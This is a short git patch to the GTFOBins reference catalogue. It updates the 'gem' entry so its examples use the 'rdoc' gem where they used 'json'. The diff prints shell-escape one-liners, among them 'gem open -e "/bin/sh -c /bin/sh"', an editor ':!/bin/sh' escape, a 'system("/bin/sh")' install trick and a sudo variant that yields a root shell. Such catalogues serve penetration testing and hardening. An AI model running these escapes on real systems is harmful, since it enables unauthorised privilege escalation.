From 0bd4ab2b272ba4ea178e529150607d0b621ef1e3 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sat, 14 Mar 2020 13:08:13 +0100 Subject: [PATCH] Use rdoc instead of json in gem --- _gtfobins/gem.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/_gtfobins/gem.md b/_gtfobins/gem.md index 4bf8736..7fec2ef 100644 --- a/_gtfobins/gem.md +++ b/_gtfobins/gem.md @@ -1,11 +1,11 @@ --- functions: shell: - - description: This requires the name of an installed gem to be provided (`json` is usually installed). - code: gem open -e "/bin/sh -c /bin/sh" json - - description: This invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply. This requires the name of an installed gem to be provided (`json` is usually installed). + - description: This requires the name of an installed gem to be provided (`rdoc` is usually installed). + code: gem open -e "/bin/sh -c /bin/sh" rdoc + - description: This invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply. This requires the name of an installed gem to be provided (`rdoc` is usually installed). code: | - gem open json + gem open rdoc :!/bin/sh - description: This executes the specified file as [`ruby`](/gtfobins/ruby/) code. code: | @@ -18,6 +18,6 @@ functions: echo 'system("/bin/sh")' > $TF/x gem install --file $TF/x sudo: - - description: This requires the name of an installed gem to be provided (`json` is usually installed). - code: sudo gem open -e "/bin/sh -c /bin/sh" json + - description: This requires the name of an installed gem to be provided (`rdoc` is usually installed). + code: sudo gem open -e "/bin/sh -c /bin/sh" rdoc ---